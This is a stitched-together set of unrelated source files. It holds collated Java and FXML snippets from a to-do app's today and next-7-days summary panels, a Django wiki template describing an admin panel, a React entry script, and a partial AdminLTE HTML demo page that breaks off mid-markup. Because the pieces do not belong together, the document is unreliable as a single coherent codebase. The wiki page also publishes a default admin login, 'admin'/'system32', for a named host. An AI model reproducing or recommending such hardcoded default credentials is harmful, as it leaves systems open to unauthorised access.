model.getFilteredTodayTaskList(); } public ObservableList<ReadOnlyTask> getUnmodifiableWeekTaskList() { return model.getFilteredWeekTaskList(); } ``` ###### /java/seedu/todo/logic/parser/ToDoListParser.java ``` java /** * Parses arguments in the context of the mark task command. * * @param args full command args string * @return the prepared command */ private Command prepareMark(String args) { Optional<Integer> index = parseIndex(args); if (!index.isPresent()) { return new IncorrectCommand(String.format(MESSAGE_INVALID_COMMAND_FORMAT, MarkCommand.MESSAGE_USAGE)); } return new MarkCommand(index.get()); } ``` ###### /java/seedu/todo/model/Model.java ``` java /** Returns the filtered tasks list as an {@code UnmodifiableObservableList<ReadOnlyTask>} */ UnmodifiableObservableList<ReadOnlyTask> getFilteredTaskList(); /** Returns the filtered tasks list as an {@code UnmodifiableObservableList<ReadOnlyTask>} */ UnmodifiableObservableList<ReadOnlyTask> getFilteredTodayTaskList(); /** Returns the filtered tasks list as an {@code UnmodifiableObservableList<ReadOnlyTask>} */ UnmodifiableObservableList<ReadOnlyTask> getFilteredWeekTaskList(); ``` ###### /java/seedu/todo/model/Model.java ``` java /** Updates today list to show all today tasks */ void updateTodayListToShowAll(); /** Updates today list to show all today tasks */ void updateWeekListToShowAll(); ``` ###### /java/seedu/todo/model/Model.java ``` java /** Updates the filter of the filtered task list to filter for today's date only */ void updateFilteredTaskListTodayDate(LocalDateTime datetime); ``` ###### /java/seedu/todo/model/ModelManager.java ``` java private final FilteredList<Task> todayTasks; //for today summary list private final FilteredList<Task> weekTasks; //for weekly summary list ``` ###### /java/seedu/todo/model/ModelManager.java ``` java /** * Initializes a ModelManager with the given ToDoList * ToDoList and its variables should not be null */ public ModelManager(ReadOnlyToDoList src, UserPrefs userPrefs) { super(); assert src != null; assert userPrefs != null; logger.fine("Initializing with to-do app: " + src + " and user prefs " + userPrefs); dodobird = new DoDoBird(src); filteredTasks = new FilteredList<>(dodobird.getTasks()); todayTasks = new FilteredList<>(dodobird.getTasks()); weekTasks = new FilteredList<>(dodobird.getTasks()); tagList = new FilteredList<>(dodobird.getTags()); pe = new PredicateExpression(new CompletedQualifier(false)); updateFilteredListToShowAllNotCompleted(); updateTodayListToShowAll(); updateWeekListToShowAll(); } ``` ###### /java/seedu/todo/model/ModelManager.java ``` java public UnmodifiableObservableList<ReadOnlyTask> getFilteredTodayTaskList() { return new UnmodifiableObservableList<>(todayTasks); } public UnmodifiableObservableList<ReadOnlyTask> getFilteredWeekTaskList() { return new UnmodifiableObservableList<>(weekTasks); } ``` ###### /java/seedu/todo/model/ModelManager.java ``` java @Override public void updateTodayListToShowAll() { todayTasks.setPredicate(null); todayTasks.setPredicate((new PredicateExpression(new TodayDateQualifier(LocalDateTime.now())))::satisfies); } @Override public void updateWeekListToShowAll() { weekTasks.setPredicate(null); weekTasks.setPredicate((new PredicateExpression(new WeekDateQualifier(LocalDateTime.now())))::satisfies); } ``` ###### /java/seedu/todo/model/ModelManager.java ``` java @Override public void updateFilteredTaskListTodayDate(LocalDateTime datetime){ updateFilteredTaskList(new PredicateExpression(new TodayDateQualifier(datetime))); } ``` ###### /java/seedu/todo/model/ModelManager.java ``` java @Subscribe private void handleSummaryPanelSelectionEvent(SummaryPanelSelectionEvent spse) { updateFilteredTaskList(new PredicateExpression(new TodayDateQualifier(LocalDateTime.now()))); } @Subscribe private void handleWeekSummaryPanelSelectionEvent(WeekSummaryPanelSelectionEvent wspse) { updateFilteredTaskList(new PredicateExpression(new WeekDateQualifier(LocalDateTime.now()))); } } ``` ###### /java/seedu/todo/model/qualifiers/TodayDateQualifier.java ``` java /** * filters tasks by whether they belong to today * */ public class TodayDateQualifier implements Qualifier{ private LocalDateTime datetime; public TodayDateQualifier(LocalDateTime datetime) { this.datetime = datetime; } @Override public boolean run(ReadOnlyTask task) { if (task.getOnDate().getDate() != null && task.getByDate().getDate() != null) { LocalDateTime onDateTime = DateTimeUtil.combineLocalDateAndTime(task.getOnDate().getDate(), task.getOnDate().getTime()); LocalDateTime byDateTime = DateTimeUtil.combineLocalDateAndTime(task.getByDate().getDate(), task.getByDate().getTime()); boolean byTodayCheck = true; boolean onTodayCheck = true; onTodayCheck = onDateTime.toLocalDate().equals(datetime.toLocalDate()) || onDateTime.toLocalDate().isBefore(datetime.toLocalDate()); byTodayCheck = byDateTime.toLocalDate().equals(datetime.toLocalDate()) || byDateTime.toLocalDate().isAfter(datetime.toLocalDate()); return byTodayCheck && onTodayCheck; } else if (task.getByDate().getDate() != null) { LocalDateTime byDateTime = DateTimeUtil.combineLocalDateAndTime(task.getByDate().getDate(), task.getByDate().getTime()); return byDateTime.toLocalDate().equals(datetime.toLocalDate()) || byDateTime.toLocalDate().isAfter(datetime.toLocalDate()); } else if (task.getOnDate().getDate() != null) { LocalDateTime onDateTime = DateTimeUtil.combineLocalDateAndTime(task.getOnDate().getDate(), task.getOnDate().getTime()); return onDateTime.toLocalDate().equals(datetime.toLocalDate()) || onDateTime.toLocalDate().isBefore(datetime.toLocalDate()); } else { return false; } } @Override public String toString() { return "datetime=" + datetime.toString(); } } ``` ###### /java/seedu/todo/model/qualifiers/WeekDateQualifier.java ``` java /** * filters tasks by whether they belong to next 7 days * */ public class WeekDateQualifier implements Qualifier{ private LocalDateTime startDatetime; private LocalDateTime endDatetime; public WeekDateQualifier(LocalDateTime datetime) { this.startDatetime = datetime.plusDays(1); this.endDatetime = datetime.plusWeeks(1); } @Override public boolean run(ReadOnlyTask task) { if (task.getOnDate().getDate() != null && task.getByDate().getDate() != null) { LocalDateTime onDateTime = DateTimeUtil.combineLocalDateAndTime(task.getOnDate().getDate(), task.getOnDate().getTime()); LocalDateTime byDateTime = DateTimeUtil.combineLocalDateAndTime(task.getByDate().getDate(), task.getByDate().getTime()); boolean byWeekCheck = true; boolean onWeekCheck = true; boolean intermediateCheck = onDateTime.toLocalDate().isBefore(endDatetime.toLocalDate()) && onDateTime.toLocalDate().isAfter(startDatetime.toLocalDate()); onWeekCheck = onDateTime.toLocalDate().equals(endDatetime.toLocalDate()) || intermediateCheck; byWeekCheck = byDateTime.toLocalDate().equals(startDatetime.toLocalDate()) || byDateTime.toLocalDate().isAfter(startDatetime.toLocalDate()); return byWeekCheck || onWeekCheck; } else if (task.getByDate().getDate() != null) { LocalDateTime byDateTime = DateTimeUtil.combineLocalDateAndTime(task.getByDate().getDate(), task.getByDate().getTime()); return byDateTime.toLocalDate().equals(startDatetime.toLocalDate()) || byDateTime.toLocalDate().isAfter(startDatetime.toLocalDate()); } else if (task.getOnDate().getDate() != null) { LocalDateTime onDateTime = DateTimeUtil.combineLocalDateAndTime(task.getOnDate().getDate(), task.getOnDate().getTime()); boolean intermediateCheck = onDateTime.toLocalDate().isBefore(endDatetime.toLocalDate()) && onDateTime.toLocalDate().isAfter(startDatetime.toLocalDate()); return onDateTime.toLocalDate().equals(endDatetime.toLocalDate()) || intermediateCheck || onDateTime.toLocalDate().equals(startDatetime.toLocalDate()); } else { return false; } } @Override public String toString() { return "startDatetime=" + startDatetime.toString(); } } ``` ###### /java/seedu/todo/ui/CommandBox.java ``` java @Subscribe private void handleSummaryPanelSelectionEvent(SummaryPanelSelectionEvent spse) { resultDisplay.postMessage("Displaying list of tasks today "); } @Subscribe private void handleWeekSummaryPanelSelectionEvent(WeekSummaryPanelSelectionEvent wpse) { resultDisplay.postMessage("Displaying list of tasks to be done in next 7 days "); } ``` ###### /java/seedu/todo/ui/HelpWindow.java ``` java private static final String USERGUIDE_URL = "https://github.com/CS2103AUG2016-W13-C1/main/blob/master/docs/UserGuide.md"; ``` ###### /java/seedu/todo/ui/MainWindow.java ``` java private SummaryPanel summaryPanel; private WeekSummaryPanel weekSummaryPanel; ``` ###### /java/seedu/todo/ui/MainWindow.java ``` java @FXML private AnchorPane summaryPlaceholder; @FXML private AnchorPane weekSummaryPlaceholder; ``` ###### /java/seedu/todo/ui/MainWindow.java ``` java summaryPanel = SummaryPanel.load(primaryStage, getSummaryPlaceholder(), logic.getUnmodifiableTodayTaskList()); weekSummaryPanel = WeekSummaryPanel.load(primaryStage, getWeekSummaryPlaceholder(), logic.getUnmodifiableWeekTaskList()); ``` ###### /java/seedu/todo/ui/MainWindow.java ``` java private AnchorPane getSummaryPlaceholder(){ return summaryPlaceholder; } private AnchorPane getWeekSummaryPlaceholder(){ return weekSummaryPlaceholder; } ``` ###### /java/seedu/todo/ui/SummaryCard.java ``` java /** * Tasks to be done today * */ public class SummaryCard extends UiPart{ private static final String FXML = "SummaryCard.fxml"; @FXML private HBox cardPane; @FXML private Text name; @FXML private Label details; @FXML private Label tags; @FXML private Circle priorityLevel; private ReadOnlyTask task; public static SummaryCard load(ReadOnlyTask task){ SummaryCard card = new SummaryCard(); card.task = task; return UiPartLoader.loadUiPart(card); } @FXML public void initialize() { name.setText(task.getName().fullName); details.setText(task.getDetail().value); initPriority(); if(task.getCompletion().isCompleted()) { markComplete(); } tags.setText(task.tagsString()); } public HBox getLayout() { return cardPane; } @Override public void setNode(Node node) { cardPane = (HBox) node; } @Override public String getFxmlPath() { return FXML; } private void initPriority() { if (task.getPriority().toString().equals(Priority.LOW)) { priorityLevel.setFill(Color.web("#b2ff59")); priorityLevel.setStroke(Color.LIMEGREEN); } else if (task.getPriority().toString().equals(Priority.MID)) { priorityLevel.setFill(Color.web("#fff59d")); priorityLevel.setStroke(Color.web("#ffff00")); } else { priorityLevel.setFill(Color.RED); priorityLevel.setStroke(Color.web("#c62828")); } } private void markComplete() { name.setFill(Color.LIGHTGREY); name.setStyle("-fx-strikethrough: true"); name.setOpacity(50); details.setTextFill(Color.LIGHTGREY); tags.setTextFill(Color.LIGHTGREY); priorityLevel.setFill(Color.WHITE); priorityLevel.setStroke(Color.WHITE); } } ``` ###### /java/seedu/todo/ui/SummaryPanel.java ``` java /** * Panel containing the list of tasks today. */ public class SummaryPanel extends UiPart { private static final String FXML = "SummaryPanel.fxml"; private VBox panel; private AnchorPane placeHolderPane; @FXML private ListView<ReadOnlyTask> summaryListView; public SummaryPanel() { super(); } @Override public void setNode(Node node) { panel = (VBox) node; } @Override public String getFxmlPath() { return FXML; } @Override public void setPlaceholder(AnchorPane pane) { this.placeHolderPane = pane; } public static SummaryPanel load(Stage primaryStage, AnchorPane summaryPlaceholder, ObservableList<ReadOnlyTask> taskList) { SummaryPanel summaryPanel = UiPartLoader.loadUiPart(primaryStage, summaryPlaceholder, new SummaryPanel()); summaryPanel.configure(taskList); return summaryPanel; } private void configure(ObservableList<ReadOnlyTask> taskList) { setConnections(taskList); addToPlaceholder(); } private void setConnections(ObservableList<ReadOnlyTask> taskList) { summaryListView.setItems(taskList); summaryListView.setCellFactory(listView -> new TaskListViewCell()); } private void addToPlaceholder() { SplitPane.setResizableWithParent(placeHolderPane, false); placeHolderPane.getChildren().add(panel); } public void scrollTo(int index) { Platform.runLater(() -> { summaryListView.scrollTo(index); summaryListView.getSelectionModel().clearAndSelect(index); }); } @FXML private void todayTextOnMouseClicked() { raise (new SummaryPanelSelectionEvent()); } class TaskListViewCell extends ListCell<ReadOnlyTask> { public TaskListViewCell() { } @Override protected void updateItem(ReadOnlyTask task, boolean empty) { super.updateItem(task, empty); boolean dateCheck = false; try{ LocalDate taskByDate = task.getByDate().getDate(); LocalDate taskOnDate = task.getOnDate().getDate(); LocalDate todayDate = LocalDate.now(); dateCheck = todayDate.isAfter(taskByDate) || todayDate.isBefore(taskOnDate); } catch(Exception e) { dateCheck = false; } if (empty || task == null) { setGraphic(null); setText(null); } else if(!dateCheck) { setGraphic(SummaryCard.load(task).getLayout()); } else { setGraphic(null); } } } } ``` ###### /java/seedu/todo/ui/WeekSummaryCard.java ``` java /** * tasks to be done in the next 7 days * */ public class WeekSummaryCard extends UiPart{ private static final String FXML = "WeekSummaryCard.fxml"; @FXML private HBox cardPane; @FXML private Text name; @FXML private Label details; @FXML private Label tags; @FXML private Circle priorityLevel; private ReadOnlyTask task; public static WeekSummaryCard load(ReadOnlyTask task){ WeekSummaryCard card = new WeekSummaryCard(); card.task = task; return UiPartLoader.loadUiPart(card); } @FXML public void initialize() { name.setText(task.getName().fullName); details.setText(task.getDetail().value); initPriority(); tags.setText(task.tagsString()); if(task.getCompletion().isCompleted()) { markComplete(); } } public HBox getLayout() { return cardPane; } @Override public void setNode(Node node) { cardPane = (HBox) node; } @Override public String getFxmlPath() { return FXML; } private void initPriority() { if (task.getPriority().toString().equals(Priority.LOW)) { priorityLevel.setFill(Color.web("#b2ff59")); priorityLevel.setStroke(Color.LIMEGREEN); } else if (task.getPriority().toString().equals(Priority.MID)) { priorityLevel.setFill(Color.web("#fff59d")); priorityLevel.setStroke(Color.web("#ffff00")); } else { priorityLevel.setFill(Color.RED); priorityLevel.setStroke(Color.web("#c62828")); } } private void markComplete() { name.setFill(Color.LIGHTGREY); name.setStyle("-fx-strikethrough: true"); name.setOpacity(50); details.setTextFill(Color.LIGHTGREY); tags.setTextFill(Color.LIGHTGREY); priorityLevel.setFill(Color.WHITE); priorityLevel.setStroke(Color.WHITE); } } ``` ###### /java/seedu/todo/ui/WeekSummaryPanel.java ``` java /** * Panel containing the list of tasks for the next 7 days. */ public class WeekSummaryPanel extends UiPart { private final Logger logger = LogsCenter.getLogger(WeekSummaryPanel.class); private static final String FXML = "WeekSummaryPanel.fxml"; private VBox panel; private AnchorPane placeHolderPane; @FXML private ListView<ReadOnlyTask> weekSummaryListView; public WeekSummaryPanel() { super(); } @Override public void setNode(Node node) { panel = (VBox) node; } @Override public String getFxmlPath() { return FXML; } @Override public void setPlaceholder(AnchorPane pane) { this.placeHolderPane = pane; } public static WeekSummaryPanel load(Stage primaryStage, AnchorPane weekSummaryPlaceholder, ObservableList<ReadOnlyTask> taskList) { WeekSummaryPanel weekSummaryPanel = UiPartLoader.loadUiPart(primaryStage, weekSummaryPlaceholder, new WeekSummaryPanel()); weekSummaryPanel.configure(taskList); return weekSummaryPanel; } private void configure(ObservableList<ReadOnlyTask> taskList) { setConnections(taskList); addToPlaceholder(); } private void setConnections(ObservableList<ReadOnlyTask> taskList) { weekSummaryListView.setItems(taskList); weekSummaryListView.setCellFactory(listView -> new TaskListViewCell()); } private void addToPlaceholder() { SplitPane.setResizableWithParent(placeHolderPane, false); placeHolderPane.getChildren().add(panel); } public void scrollTo(int index) { Platform.runLater(() -> { weekSummaryListView.scrollTo(index); weekSummaryListView.getSelectionModel().clearAndSelect(index); }); } @FXML private void weekTextOnMouseClick() { raise (new WeekSummaryPanelSelectionEvent()); } class TaskListViewCell extends ListCell<ReadOnlyTask> { public TaskListViewCell() { } @Override protected void updateItem(ReadOnlyTask task, boolean empty) { super.updateItem(task, empty); boolean dateCheck = false; try{ dateCheck = LocalDate.now().isAfter(task.getByDate().getDate()) || LocalDate.now().plusWeeks(1).isBefore(task.getOnDate().getDate()); } catch(Exception e){ dateCheck = false; } if (empty || task == null) { setGraphic(null); setText(null); } else if(!dateCheck){ setGraphic(WeekSummaryCard.load(task).getLayout()); } else { setGraphic(null); } } } } ``` ###### /resources/view/MainWindow.fxml ``` fxml <AnchorPane fx:id="summaryPlaceholder" prefHeight="500.0" prefWidth="340.0"> <padding> <Insets bottom="10" left="10" right="10" top="10" /> </padding> </AnchorPane> <AnchorPane fx:id="weekSummaryPlaceholder" minHeight="200.0" prefHeight="500.0" prefWidth="340.0"> <padding> <Insets bottom="10" left="10" right="10" top="10" /> </padding> </AnchorPane> ``` ###### /resources/view/SummaryCard.fxml ``` fxml <HBox fx:id="cardPane" maxHeight="50.0" maxWidth="250.0" minHeight="50.0" minWidth="150.0" prefHeight="50.0" prefWidth="200.0" style="-fx-background-color: #FFFFFF;" xmlns="http://javafx.com/javafx/8.0.65" xmlns:fx="http://javafx.com/fxml/1"> <children> <GridPane maxHeight="50.0" maxWidth="250.0" minHeight="50.0" minWidth="110.0" prefHeight="50.0" prefWidth="110.0" translateY="5.0" HBox.hgrow="ALWAYS"> <columnConstraints> <ColumnConstraints hgrow="SOMETIMES" maxWidth="218.0" minWidth="10.0" prefWidth="203.0" /> <ColumnConstraints hgrow="SOMETIMES" maxWidth="100.0" minWidth="10.0" prefWidth="47.0" /> </columnConstraints> <children> <GridPane prefHeight="32.0" prefWidth="580.0" translateY="2.0" GridPane.hgrow="NEVER"> <columnConstraints> <ColumnConstraints hgrow="SOMETIMES" maxWidth="555.0" minWidth="10.0" prefWidth="487.0" /> </columnConstraints> <rowConstraints> <RowConstraints maxHeight="49.0" minHeight="0.0" prefHeight="19.0" vgrow="SOMETIMES" /> <RowConstraints maxHeight="86.0" minHeight="20.0" prefHeight="86.0" vgrow="NEVER" /> </rowConstraints> <children> <Label fx:id="details" prefHeight="16.0" prefWidth="587.0" styleClass="cell_small_label" text="\$details" translateX="18.0" translateY="-35.0" GridPane.rowIndex="1" /> <HBox maxHeight="20.0" maxWidth="212.0" minHeight="20.0" minWidth="110.0" prefHeight="20.0" prefWidth="212.0"> <children> <Circle fx:id="priorityLevel" fill="#1fff4d" radius="6.0" stroke="BLACK" strokeType="INSIDE" translateY="5.0" /> <Text fx:id="name" strokeType="OUTSIDE" strokeWidth="0.0" text="Text" translateX="9.0" translateY="2.0" /> <Label fx:id="tags" styleClass="cell_small_label" text="\$tags" translateX="20.0" translateY="4.0"> <graphic> <Ellipse fill="DODGERBLUE" radiusX="5.0" radiusY="5.0" stroke="BLACK" strokeType="INSIDE" strokeWidth="0.0" visible="false" /> </graphic> </Label> </children> </HBox> </children> </GridPane> <VBox alignment="CENTER_LEFT" maxHeight="116.0" minHeight="105.0" prefHeight="105.0" prefWidth="40.0" translateY="-5.0" GridPane.columnIndex="1"> <padding> <Insets bottom="2.0" left="-20.0" right="2.0" top="2.0" /> </padding> </VBox> </children> <rowConstraints> <RowConstraints /> </rowConstraints> </GridPane> </children> </HBox> ``` ###### /resources/view/SummaryPanel.fxml ``` fxml <VBox maxWidth="200.0" prefHeight="175.0" prefWidth="200.0" style="-fx-background-color: #FFFFFF;" AnchorPane.bottomAnchor="0.0" AnchorPane.leftAnchor="0.0" AnchorPane.rightAnchor="0.0" AnchorPane.topAnchor="0.0" xmlns="http://javafx.com/javafx/8.0.60" xmlns:fx="http://javafx.com/fxml/1" fx:controller="seedu.todo.ui.SummaryPanel"> <children> <Text fx:id="todayText" onMouseClicked="#todayTextOnMouseClicked" onMousePressed="#todayTextOnMouseClicked" opacity="0.6" strokeType="OUTSIDE" strokeWidth="0.0" text="Today" wrappingWidth="200.13671875"> <font> <Font name="Arial Bold" size="30.0" /> </font></Text> <ListView fx:id="summaryListView" prefHeight="200.0" prefWidth="200.0" style="-fx-background-color: #FFFFFF;" VBox.vgrow="ALWAYS" /> </children> </VBox> ``` ###### /resources/view/WeekSummaryCard.fxml ``` fxml <HBox fx:id="cardPane" maxHeight="50.0" maxWidth="250.0" minHeight="50.0" minWidth="150.0" prefHeight="50.0" prefWidth="200.0" style="-fx-background-color: #FFFFFF;" xmlns="http://javafx.com/javafx/8.0.65" xmlns:fx="http://javafx.com/fxml/1"> <children> <GridPane maxHeight="50.0" maxWidth="250.0" minHeight="50.0" minWidth="110.0" prefHeight="50.0" prefWidth="110.0" translateY="5.0" HBox.hgrow="ALWAYS"> <columnConstraints> <ColumnConstraints hgrow="SOMETIMES" maxWidth="218.0" minWidth="10.0" prefWidth="203.0" /> <ColumnConstraints hgrow="SOMETIMES" maxWidth="100.0" minWidth="10.0" prefWidth="47.0" /> </columnConstraints> <children> <GridPane prefHeight="32.0" prefWidth="580.0" translateY="2.0" GridPane.hgrow="NEVER"> <columnConstraints> <ColumnConstraints hgrow="SOMETIMES" maxWidth="555.0" minWidth="10.0" prefWidth="487.0" /> </columnConstraints> <rowConstraints> <RowConstraints maxHeight="49.0" minHeight="0.0" prefHeight="19.0" vgrow="SOMETIMES" /> <RowConstraints maxHeight="86.0" minHeight="20.0" prefHeight="86.0" vgrow="NEVER" /> </rowConstraints> <children> <Label fx:id="details" prefHeight="16.0" prefWidth="587.0" styleClass="cell_small_label" text="\$details" translateX="18.0" translateY="-35.0" GridPane.rowIndex="1" /> <HBox maxHeight="20.0" maxWidth="212.0" minHeight="20.0" minWidth="110.0" prefHeight="20.0" prefWidth="212.0"> <children> <Circle fx:id="priorityLevel" fill="#1fff4d" radius="6.0" stroke="BLACK" strokeType="INSIDE" translateY="5.0" /> <Text fx:id="name" strokeType="OUTSIDE" strokeWidth="0.0" text="Text" translateX="8.0" translateY="2.0" /> <Label fx:id="tags" styleClass="cell_small_label" text="\$tags" translateX="20.0" translateY="4.0"> <graphic> <Ellipse fill="DODGERBLUE" radiusX="5.0" radiusY="5.0" stroke="BLACK" strokeType="INSIDE" strokeWidth="0.0" visible="false" /> </graphic> </Label> </children> </HBox> </children> </GridPane> <VBox alignment="CENTER_LEFT" maxHeight="116.0" minHeight="105.0" prefHeight="105.0" prefWidth="40.0" translateY="-5.0" GridPane.columnIndex="1"> <padding> <Insets bottom="2.0" left="-20.0" right="2.0" top="2.0" /> </padding> </VBox> </children> <rowConstraints> <RowConstraints /> </rowConstraints> </GridPane> </children> </HBox> ``` ###### /resources/view/WeekSummaryPanel.fxml ``` fxml <VBox maxWidth="200.0" prefHeight="175.0" prefWidth="200.0" style="-fx-background-color: #FFFFFF;" AnchorPane.bottomAnchor="0.0" AnchorPane.leftAnchor="0.0" AnchorPane.rightAnchor="0.0" AnchorPane.topAnchor="0.0" xmlns="http://javafx.com/javafx/8.0.60" xmlns:fx="http://javafx.com/fxml/1" fx:controller="seedu.todo.ui.WeekSummaryPanel"> <children> <Text onMouseClicked="#weekTextOnMouseClick" opacity="0.6" strokeType="OUTSIDE" strokeWidth="0.0" text="Next 7 Days" wrappingWidth="181.13671875"> <font> <Font name="Arial Bold" size="30.0" /> </font></Text> <ListView fx:id="weekSummaryListView" prefHeight="139.0" prefWidth="100.0" style="-fx-background-color: #FFFFFF;" VBox.vgrow="ALWAYS" /> </children> </VBox> ```
{%extends 'wiki/_base.html' %} {% load staticfiles %} {% block content %} {{ block.super }} {# ## Insert HTML Fragment Starting Here###} <div class="span2 well"> <h1>Admin Panel</h1> <p>&nbsp;</p> <p>Admin panel provides additional functionalities and advanced features that are not available in the main interface. Some of these functions include the ability to delete contacts, events, hardware assignments, configurations, and pools. Additionally, the Admin Panel allows the user to create or delete groups and users that access the system. These functions are not available in the main interface for security reasons.</p> <p><br /> The Admin Panel can be accessed quickly from main interface by clicking on <strong>Extras </strong>and then <strong>Admin Panel.</strong></p> <p><br /> It can also be accessed directly via following link: http://onsen.tech-res.net/admin.<br /> To log in for the first time, you can use user <strong>admin</strong> and password <strong>system32</strong><br /> </p> <p><img src="http://onsen.tech-res.net/static/img/wiki/admin_panel.PNG" width="1147" height="853" /></p> <p>&nbsp;</p> <h2><strong>Users and Groups</strong></h2> <p>The Admin Panel allows you to create additional users and user groups which will have access to the system. Groups make it easier to manage user permissions for multiple users so they do not have to be specified individually.</p> <p>&nbsp;</p> <h2><strong>Creating Groups</strong></h2> <p>To create a new group in Admin Panel: </p> <ul> <li> <p>Click on <strong>Groups</strong> link located under &quot;Authentication and Authorization&quot; section.</p> </li> <li> <p> This will open up a new page and display a list of groups currently in the system </p> </li> </ul> <p>&nbsp;</p> <p><img src="http://onsen.tech-res.net/static/img/wiki/groups.PNG" width="1166" height="324" /></p> <ul> <li> <p>Click on <strong>Add Group</strong></p> </li> <li> <p> New page opens where you can enter the name for new group and select permissions which will be applied to users belonging to this group </p> </li> </ul> <p>&nbsp;</p> <p>&nbsp;</p> <h2><strong>Creating a new user</strong></h2> <p><br /> To create a new users that will have access to the system:</p> <ul> <li> <p>Click on <strong>Users</strong> link under &quot;Authorization and Authentication&quot; section.</p> </li> <li> <p> New page will open and display a list of all the users currently in the system.</p> </li> </ul> <p><img src="http://onsen.tech-res.net/static/img/wiki/usrs.PNG" width="1147" height="417" /></p> <ul> <li> <p>Click <strong>Create User</strong> button.</p> </li> <li> <p> On the next page, enter username for the new user as well as password.</p> </li> </ul> <p><img src="http://onsen.tech-res.net/static/img/wiki/user_add.PNG" width="1147" height="417" /></p> <ul> <li> <p>Click <strong>Save</strong> to save the information and continue.</p> </li> <li> <p> New page will open which allows you to add the user to a group or assign special </p> </li> <li> <p>On this page you can enter the user's first and last name as well as email address. When creating a new user it is important to make sure the option under <strong>Permissions</strong> section &quot;Active&quot; is selected, otherwise the user will be created as inactive user.</p> </li> <li> <p>If you would like this user to be able to log in to the Admin Panel, you can select <strong>Staff Status</strong> option. If you would like to set this user up with all the permissions, check the <strong>Superuser Status</strong> option. NOTE: Giving a user Superuser permissions will allow them unlimited access to the system. </p> </li> <li> <p>From the Available Groups you can select the group(s) you wish to add this user to. This will automatically give the user same permissions that are assigned to that group.</p> </li> <li> <p>Additional or individual permissions can also be added under User Permissions.</p> </li> <li> <p>Click <strong>Save</strong> button to save all the information and create the new user.</p> </li> </ul> <p>&nbsp;</p> </div> {# ## Insert HTML Fragment ending Here###} {% endblock %}
import React from 'react'; import Examples from './Examples'; var node = document.getElementById('main'); window.render = function(){ React.render(<Examples />, node); }; window.unmount = function() { React.unmountComponentAtNode(node); }; window.render();
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>AdminLTE 2 | Fixed Layout</title> <!-- Tell the browser to be responsive to screen width --> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> <!-- Bootstrap 3.3.6 --> <link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css"> <!-- Font Awesome --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css"> <!-- Ionicons --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css"> <!-- Theme style --> <link rel="stylesheet" href="../../dist/css/AdminLTE.min.css"> <!-- AdminLTE Skins. Choose a skin from the css/skins folder instead of downloading all of them to reduce the load. --> <link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <!-- ADD THE CLASS fixed TO GET A FIXED HEADER AND SIDEBAR LAYOUT --> <!-- the fixed layout is not compatible with sidebar-mini --> <body class="hold-transition skin-blue fixed sidebar-mini"> <!-- Site wrapper --> <div class="wrapper"> <header class="main-header"> <!-- Logo --> <a href="../../index2.html" class="logo"> <!-- mini logo for sidebar mini 50x50 pixels --> <span class="logo-mini"><b>A</b>LT</span> <!-- logo for regular state and mobile devices --> <span class="logo-lg"><b>Admin</b>LTE</span> </a> <!-- Header Navbar: style can be found in header.less --> <nav class="navbar navbar-static-top"> <!-- Sidebar toggle button--> <a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <div class="navbar-custom-menu"> <ul class="nav navbar-nav"> <!-- Messages: style can be found in dropdown.less--> <li class="dropdown messages-menu"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-envelope-o"></i> <span class="label label-success">4</span> </a> <ul class="dropdown-menu"> <li class="header">You have 4 messages</li> <li> <!-- inner menu: contains the actual data --> <ul class="menu"> <li><!-- start message --> <a href="#"> <div class="pull-left"> <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image"> </div> <h4> Support Team <small><i class="fa fa-clock-o"></i> 5 mins</small> </h4> <p>Why not buy a new awesome theme?</p> </a> </li> <!-- end message --> </ul> </li> <li class="footer"><a href="#">See All Messages</a></li> </ul> </li> <!-- Notifications: style can be found in dropdown.less --> <li class="dropdown notifications-menu"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-bell-o"></i> <span class="label label-warning">10</span> </a> <ul class="dropdown-menu"> <li class="header">You have 10 notifications</li> <li> <!-- inner menu: contains the actual data --> <ul class="menu"> <li> <a href="#"> <i class="fa fa-users text-aqua"></i> 5 new members joined today </a> </li> </ul> </li> <li class="footer"><a href="#">View all</a></li> </ul> </li> <!-- Tasks: style can be found in dropdown.less --> <li class="dropdown tasks-menu"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-flag-o"></i> <span class="label label-danger">9</span> </a> <ul class="dropdown-menu"> <li class="header">You have 9 tasks</li> <li> <!-- inner menu: contains the actual data --> <ul class="menu"> <li><!-- Task item --> <a href="#"> <h3> Design some buttons <small class="pull-right">20%</small> </h3> <div class="progress xs"> <div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100"> <span class="sr-only">20% Complete</span> </div> </div> </a> </li> <!-- end task item --> </ul> </li> <li class="footer"> <a href="#">View all tasks</a> </li> </ul> </li> <!-- User Account: style can be found in dropdown.less --> <li class="dropdown user user-menu"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image"> <span class="hidden-xs">Alexander Pierce</span> </a> <ul class="dropdown-menu"> <!-- User image --> <li class="user-header"> <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image"> <p> Alexander Pierce - Web Developer <small>Member since Nov. 2012</small> </p> </li> <!-- Menu Body --> <li class="user-body"> <div class="row"> <div class="col-xs-4 text-center"> <a href="#">Followers</a> </div> <div class="col-xs-4 text-center"> <a href="#">Sales</a> </div> <div class="col-xs-4 text-center"> <a href="#">Friends</a> </div> </div> <!-- /.row --> </li> 